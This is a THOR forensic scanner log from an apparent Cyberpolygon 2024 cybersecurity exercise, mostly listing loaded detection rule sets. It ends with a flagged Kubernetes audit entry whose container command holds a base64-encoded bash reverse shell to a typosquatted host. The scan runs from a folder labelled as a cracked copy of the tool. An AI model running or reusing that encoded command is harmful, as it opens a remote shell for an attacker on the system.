Sep 10 18:36:34 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: Thor Version: 10.7.9 SCANID: S-SuOJqXNEdu8
Sep 10 18:36:34 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: Thor Build: 9f8d57034f22 (2023-07-28 03:45:54) SCANID: S-SuOJqXNEdu8
Sep 10 18:36:35 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: Run on system: WIN-LRTT94FA08M SCANID: S-SuOJqXNEdu8
Sep 10 18:36:35 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: Running as user: WIN-LRTT94FA08M\Administrator SCANID: S-SuOJqXNEdu8
Sep 10 18:36:35 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: Netbios Domain: WIN-LRTT94FA08M SCANID: S-SuOJqXNEdu8
Sep 10 18:36:35 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: User has admin rights: yes SCANID: S-SuOJqXNEdu8
Sep 10 18:36:35 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: Working Directory: D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked SCANID: S-SuOJqXNEdu8
Sep 10 18:36:35 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: Startup MESSAGE: 32 bit THOR was executed on 64 bit system. For improved results, use the 64 bit version of THOR. SCANID: S-SuOJqXNEdu8
Sep 10 18:36:35 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: Thor Scan started SCANID: S-SuOJqXNEdu8 START_TIME: Tue Sep 10 18:36:35 2024 HOSTNAME: WIN-LRTT94FA08M
Sep 10 18:36:35 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: Effective argument list: [--path D:\CYBERPOLYGON\artefacts\telemetry cyberpolygon 2024 --module filescan] SCANID: S-SuOJqXNEdu8
Sep 10 18:36:35 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: Platform: Windows Server 2019 Standard SCANID: S-SuOJqXNEdu8
Sep 10 18:36:35 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: Platform DeepEval SCANID: S-SuOJqXNEdu8 NAME: Windows Server 2019 Standard TYPE: Multiprocessor Free VERSION: 6.3 PROC: Intel64 Family 6 Model 151 Stepping 2 ARCH: AMD64 INSTALLED_ON: Thu Jan  1 00:00:00 1970 BUILD_NUMBER: 17763
Sep 10 18:36:35 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: Language: en-US, Zone: UTC SCANID: S-SuOJqXNEdu8
Sep 10 18:36:35 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: System Uptime: 1.43 days SCANID: S-SuOJqXNEdu8
Sep 10 18:36:35 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: CPU Count: 24 SCANID: S-SuOJqXNEdu8
Sep 10 18:36:35 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: Memory in Megabyte: 65277 SCANID: S-SuOJqXNEdu8
Sep 10 18:36:35 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: Startup MESSAGE: Signature file is older than 60 days. Run 'thor-util upgrade' to get new signatures. SCANID: S-SuOJqXNEdu8
Sep 10 18:36:35 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: Signature Database: 2023/09/24-052825 SCANID: S-SuOJqXNEdu8
Sep 10 18:36:35 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: Sigma Database: 0.22-3134-geb2f82cbc SCANID: S-SuOJqXNEdu8
Sep 10 18:36:35 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: Successfully compiled 0 false positive filters SCANID: S-SuOJqXNEdu8 TYPE: log filter
Sep 10 18:36:35 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: Writing report file to: WIN-LRTT94FA08M_thor_2024-09-10_1836.txt SCANID: S-SuOJqXNEdu8
Sep 10 18:36:35 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: Writing csv report file to: WIN-LRTT94FA08M_files_md5s.csv SCANID: S-SuOJqXNEdu8
Sep 10 18:36:35 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: No json report file will be written SCANID: S-SuOJqXNEdu8
Sep 10 18:36:35 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: Writing html report file to: WIN-LRTT94FA08M_thor_2024-09-10_1836.html SCANID: S-SuOJqXNEdu8
Sep 10 18:36:35 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: Syslog Export: off SCANID: S-SuOJqXNEdu8
Sep 10 18:36:35 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: IP Address 1: 10.100.5.12 SCANID: S-SuOJqXNEdu8
Sep 10 18:36:35 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: IP Address 2: 192.168.56.1 SCANID: S-SuOJqXNEdu8
Sep 10 18:36:35 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: IP Address 3: 192.168.74.1 SCANID: S-SuOJqXNEdu8
Sep 10 18:36:35 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: IP Address 4: 192.168.119.1 SCANID: S-SuOJqXNEdu8
Sep 10 18:36:35 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: ScanID: S-SuOJqXNEdu8 SCANID: S-SuOJqXNEdu8
Sep 10 18:36:35 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: System is not a domain controller SCANID: S-SuOJqXNEdu8
Sep 10 18:36:35 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Max. file size to be scanned is 31.5 MB, use --max_file_size to increase the limit SCANID: S-SuOJqXNEdu8
Sep 10 18:36:35 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Selected modules: Filescan SCANID: S-SuOJqXNEdu8
Sep 10 18:36:35 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Deselected modules: Artifact-Collector, AtJobs, Autoruns, DNSCache, DeepDive, Dropzone, EnvCheck, EtwWatcher, Eventlog, Events, Firewall, Hosts, HotfixCheck, LSASessions, LoggedIn, MFT, Mutex, NetworkSessions, NetworkShares, Pipes, ProcessCheck, RegistryChecks, Rootkit, SHIMCache, ScheduledTasks, ServiceCheck, Thunderstorm, Timestomp, UserDir, Users, WMIStartup SCANID: S-SuOJqXNEdu8
Sep 10 18:36:35 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Selected features: Amcache, Archive, ArchiveScan, AtJobs, Auditlog, AuthorizedKeys, Bifrost2, BulkScan, C2, CPULimit, CheckString, CronParser, DoublePulsar, ETL, EVTX, Eml, EnrichFileInfo, ExeDecompress, FilenameIOCs, Filescan, GroupsXML, KeywordIOCs, Lnk, LogScan, Logger, MagicHeader, OLE, ParseCobaltStrike, Prefetch, ProcessConnections, ProcessHandles, ProgressTracker, RecycleBin, RegistryHive, Rescontrol, SHIMCache, Sigma, SignalHandler, Stix, TeamViewer, ThorDB, VirusTotal, VulnerabilityCheck, WER, WMIPersistence, WebdirScan, WorkerProgressTracker, Yara SCANID: S-SuOJqXNEdu8
Sep 10 18:36:35 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Deselected features: Action, AuditTrail, AuditTrailWriter, Bifrost, DumpScan, ProcessIntegrity SCANID: S-SuOJqXNEdu8
Sep 10 18:36:35 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: System Type: Server SCANID: S-SuOJqXNEdu8
Sep 10 18:36:36 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding rule set from thor-all.yas as 'default' type SCANID: S-SuOJqXNEdu8
Sep 10 18:36:43 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding rule set from thor-deepscan-selectors.yasx as 'meta' type SCANID: S-SuOJqXNEdu8
Sep 10 18:36:43 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding rule set from thor-keywords.yas as 'keyword' type SCANID: S-SuOJqXNEdu8
Sep 10 18:36:43 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding rule set from thor-log-sigs.yas as 'log' type SCANID: S-SuOJqXNEdu8
Sep 10 18:36:43 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding rule set from thor-meta.yas as 'meta' type SCANID: S-SuOJqXNEdu8
Sep 10 18:36:43 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding rule set from thor-peids.yas as 'default' type SCANID: S-SuOJqXNEdu8
Sep 10 18:36:44 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding rule set from thor-process-memory-sigs.yas as 'process' type SCANID: S-SuOJqXNEdu8
Sep 10 18:36:46 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding rule set from thor-registry.yas as 'registry' type SCANID: S-SuOJqXNEdu8
Sep 10 18:36:46 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma logsources from signatures\sigma\thor.yms SCANID: S-SuOJqXNEdu8
Sep 10 18:36:46 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 7 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\category\antivirus SCANID: S-SuOJqXNEdu8
Sep 10 18:36:46 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 1 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\emerging-threats\2010 SCANID: S-SuOJqXNEdu8
Sep 10 18:36:46 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 4 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\emerging-threats\2014 SCANID: S-SuOJqXNEdu8
Sep 10 18:36:46 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 1 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\emerging-threats\2015 SCANID: S-SuOJqXNEdu8
Sep 10 18:36:46 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 12 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\emerging-threats\2017 SCANID: S-SuOJqXNEdu8
Sep 10 18:36:46 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 14 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\emerging-threats\2018 SCANID: S-SuOJqXNEdu8
Sep 10 18:36:47 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 23 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\emerging-threats\2019 SCANID: S-SuOJqXNEdu8
Sep 10 18:36:47 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 27 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\emerging-threats\2020 SCANID: S-SuOJqXNEdu8
Sep 10 18:36:48 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 67 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\emerging-threats\2021 SCANID: S-SuOJqXNEdu8
Sep 10 18:36:48 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 19 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\emerging-threats\2022 SCANID: S-SuOJqXNEdu8
Sep 10 18:36:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 76 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\emerging-threats\2023 SCANID: S-SuOJqXNEdu8
Sep 10 18:36:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 49 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\linux\auditd SCANID: S-SuOJqXNEdu8
Sep 10 18:36:51 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 27 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\linux\builtin SCANID: S-SuOJqXNEdu8
Sep 10 18:36:51 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 7 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\linux\file_event SCANID: S-SuOJqXNEdu8
Sep 10 18:36:51 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 3 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\linux\network_connection SCANID: S-SuOJqXNEdu8
Sep 10 18:36:52 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 103 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\linux\process_creation SCANID: S-SuOJqXNEdu8
Sep 10 18:36:52 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 1 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\macos\process_creation SCANID: S-SuOJqXNEdu8
Sep 10 18:36:52 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 11 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\proxy SCANID: S-SuOJqXNEdu8
Sep 10 18:36:52 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 3 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\web\product SCANID: S-SuOJqXNEdu8
Sep 10 18:36:53 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 39 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\web\proxy_generic SCANID: S-SuOJqXNEdu8
Sep 10 18:36:53 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 3 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\web SCANID: S-SuOJqXNEdu8
Sep 10 18:36:53 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 12 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\web\webserver_generic SCANID: S-SuOJqXNEdu8
Sep 10 18:36:58 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 359 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\windows\builtin SCANID: S-SuOJqXNEdu8
Sep 10 18:36:58 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 16 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\windows\create_remote_thread SCANID: S-SuOJqXNEdu8
Sep 10 18:36:59 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 9 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\windows\create_stream_hash SCANID: S-SuOJqXNEdu8
Sep 10 18:36:59 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 14 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\windows\dns_query SCANID: S-SuOJqXNEdu8
Sep 10 18:36:59 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 18 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\windows\driver_load SCANID: S-SuOJqXNEdu8
Sep 10 18:37:01 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 183 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\windows\file SCANID: S-SuOJqXNEdu8
Sep 10 18:37:03 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 94 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\windows\image_load SCANID: S-SuOJqXNEdu8
Sep 10 18:37:03 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 46 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\windows\network_connection SCANID: S-SuOJqXNEdu8
Sep 10 18:37:04 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 20 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\windows\pipe_created SCANID: S-SuOJqXNEdu8
Sep 10 18:37:07 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 258 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\windows\powershell SCANID: S-SuOJqXNEdu8
Sep 10 18:37:07 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 27 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\windows\process_access SCANID: S-SuOJqXNEdu8
Sep 10 18:37:21 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 1164 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\windows\process_creation SCANID: S-SuOJqXNEdu8
Sep 10 18:37:21 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 1 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\windows\raw_access_thread SCANID: S-SuOJqXNEdu8
Sep 10 18:37:23 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 246 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\windows\registry SCANID: S-SuOJqXNEdu8
Sep 10 18:37:23 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 1 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\windows\registry_setinfo SCANID: S-SuOJqXNEdu8
Sep 10 18:37:23 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 7 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\windows\sysmon SCANID: S-SuOJqXNEdu8
Sep 10 18:37:24 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 3 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\windows\wmi_event SCANID: S-SuOJqXNEdu8
Sep 10 18:37:24 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Successfully compiled 1748 sigma rules SCANID: S-SuOJqXNEdu8 TYPE: SIGMA
Sep 10 18:37:24 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Successfully compiled 0 STIXv2 indicators (skipped 0 indicators) SCANID: S-SuOJqXNEdu8 TYPE: STIX
Sep 10 18:37:24 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Reading iocs from D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\iocs\custom-evil-hashes.dat as 'hash' type SCANID: S-SuOJqXNEdu8
Sep 10 18:37:24 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Reading iocs from D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\iocs\filename-characteristics.dat as 'filename' type SCANID: S-SuOJqXNEdu8
Sep 10 18:37:24 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Reading iocs from D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\iocs\keywords.dat as 'keyword' type SCANID: S-SuOJqXNEdu8
Sep 10 18:37:24 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Reading iocs from D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\iocs\malicious-events.dat as 'handles' type SCANID: S-SuOJqXNEdu8
Sep 10 18:37:24 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Reading iocs from D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\iocs\malicious-mutexes.dat as 'handles' type SCANID: S-SuOJqXNEdu8
Sep 10 18:37:24 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Reading iocs from D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\iocs\malicious-namedpipes.dat as 'pipes' type SCANID: S-SuOJqXNEdu8
Sep 10 18:37:24 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Reading iocs from D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\iocs\malware-domains.dat as 'domains' type SCANID: S-SuOJqXNEdu8
Sep 10 18:37:25 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Reading iocs from D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\misc\file-type-signatures.cfg as 'file-type-signatures' type SCANID: S-SuOJqXNEdu8
Sep 10 18:37:25 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Successfully compiled 63 keyword ioc strings SCANID: S-SuOJqXNEdu8 TYPE: IOC
Sep 10 18:37:26 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Successfully compiled 7642 filename ioc strings and 1219 filename ioc regexs SCANID: S-SuOJqXNEdu8 TYPE: IOC
Sep 10 18:37:26 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Successfully compiled 9858 malware and 0 false positive hashes SCANID: S-SuOJqXNEdu8 TYPE: IOC
Sep 10 18:37:26 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Successfully compiled 177 file type signatures SCANID: S-SuOJqXNEdu8 TYPE: IOC
Sep 10 18:37:26 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Successfully compiled 5346 malware domains SCANID: S-SuOJqXNEdu8 TYPE: IOC
Sep 10 18:37:26 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Successfully compiled 73 named pipe ioc strings and 65 named pipe ioc regexs SCANID: S-SuOJqXNEdu8 TYPE: IOC
Sep 10 18:37:26 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Successfully compiled 516 malicious handles and 229 regex malicious handles SCANID: S-SuOJqXNEdu8 TYPE: IOC
Sep 10 18:37:26 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: No custom registry excludes defined SCANID: S-SuOJqXNEdu8
Sep 10 18:37:26 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: No custom eventlog excludes defined SCANID: S-SuOJqXNEdu8
Sep 10 18:37:26 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: No custom process excludes defined SCANID: S-SuOJqXNEdu8
Sep 10 18:37:29 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Yara MESSAGE: Successfully compiled 23008 default YARA rules SCANID: S-SuOJqXNEdu8 TYPE: YARA
Sep 10 18:37:29 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Yara MESSAGE: Successfully compiled 0 custom default YARA rules SCANID: S-SuOJqXNEdu8 TYPE: YARA
Sep 10 18:37:29 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Yara MESSAGE: Successfully compiled 134 meta YARA rules SCANID: S-SuOJqXNEdu8 TYPE: YARA
Sep 10 18:37:30 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Yara MESSAGE: Successfully compiled 9961 process YARA rules SCANID: S-SuOJqXNEdu8 TYPE: YARA
Sep 10 18:37:31 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Yara MESSAGE: Successfully compiled 3268 log YARA rules SCANID: S-SuOJqXNEdu8 TYPE: YARA
Sep 10 18:37:31 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Yara MESSAGE: Successfully compiled 544 registry YARA rules SCANID: S-SuOJqXNEdu8 TYPE: YARA
Sep 10 18:37:31 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Yara MESSAGE: Successfully compiled 270 keyword YARA rules SCANID: S-SuOJqXNEdu8 TYPE: YARA
Sep 10 18:37:32 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Successfully opened ThorDB SCANID: S-SuOJqXNEdu8 PATH: C:\ProgramData\thor\thor10.db ENTRIES: 94
Sep 10 18:37:32 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Filescan MESSAGE: Starting module SCANID: S-SuOJqXNEdu8
Sep 10 18:37:32 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Filescan MESSAGE: The following paths will be scanned: D:\CYBERPOLYGON\artefacts\telemetry cyberpolygon 2024 SCANID: S-SuOJqXNEdu8
Sep 10 18:37:32 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Filescan MESSAGE: Scanning D:\CYBERPOLYGON\artefacts\telemetry cyberpolygon 2024 RECURSIVE SCANID: S-SuOJqXNEdu8
Sep 10 18:39:19 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: LogScan MESSAGE: Suspicious Log Entry found SCANID: S-SuOJqXNEdu8 ENTRY: {"_index":"cyberpolygon2024-mercurylark-k8s","_id":"AoI_uJEBNKI3r7qcaSwz","_score":1,"_source":{"@timestamp":"2024-09-03T14:17:21.961Z","type":"k8s","event":{"original":"{\"kind\":\"Event\",\"apiVersion\":\"audit.k8s.io/v1\",\"level\":\"RequestResponse\",\"auditID\":\"191ab5a2-2575-4009-a93f-b458ac958b3e\",\"stage\":\"ResponseComplete\",\"requestURI\":\"/api/v1/namespaces/prod/pods/mlops-metrics/status\",\"verb\":\"patch\",\"user\":{\"username\":\"system:node:k8s-node01\",\"groups\":[\"system:nodes\",\"system:authenticated\"]},\"sourceIPs\":[\"10.24.118.57\"],\"userAgent\":\"kubelet/v1.29.8 (linux/amd64) kubernetes/234bc63\",\"objectRef\":{\"resource\":\"pods\",\"namespace\":\"prod\",\"name\":\"mlops-metrics\",\"apiVersion\":\"v1\",\"subresource\":\"status\"},\"responseStatus\":{\"metadata\":{},\"code\":200},\"requestObject\":{\"metadata\":{\"uid\":\"1ab33031-f4eb-47a9-a8ab-af27c89bacbb\"},\"status\":{\"container[...]"args\\\":[\\\"sh\\\",\\\"-c\\\",\\\"echo 'L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwL2h1Z2xuZ2ZhY2UuY29tLzExMzcyIDA+JjE=' | base64 -d | 